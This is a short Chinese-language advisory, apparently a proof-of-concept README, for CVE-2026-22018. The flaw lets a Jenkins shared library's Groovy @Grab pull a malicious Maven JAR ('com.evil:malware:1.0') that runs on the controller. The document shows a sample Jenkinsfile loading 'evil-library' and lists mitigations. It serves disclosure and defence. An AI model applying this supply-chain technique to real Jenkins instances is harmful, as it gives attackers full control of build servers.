CVE-2026-22018 – 通过 @Grab 的 Jenkins Pipeline 共享库代码执行

程序代码（Groovy 流水线）

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Jenkins Pipeline 共享库远程代码执行

概述

Jenkins 流水线从并非完全可信的源加载共享库。该库使用 @Grab 注解下载外部 Maven 构件，其中可能包含恶意类，在 Groovy 编译期间于 Jenkins 控制器上执行代码。

漏洞详情

• 类型： 代码注入 / 供应链
• 影响： Jenkins 控制器完全失陷。
• 根本原因： Groovy 的 @Grab 注解在运行时获取并加载任意 JAR；共享库未经过沙箱隔离。

漏洞利用演示

配置一条使用不受信任库的流水线，该库的 vars/evilStep.groovy 中包含 @Grab('com.evil:malware:1.0')。当流水线运行时，恶意 JAR 的静态初始化器会执行。

缓解措施

• 仅使用来自受信任、已签名 SCM 仓库的共享库。
• 通过 Groovy 沙箱安全设置禁用 @Grab。
• 谨慎使用“隐式加载”流水线选项。

安装与使用

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.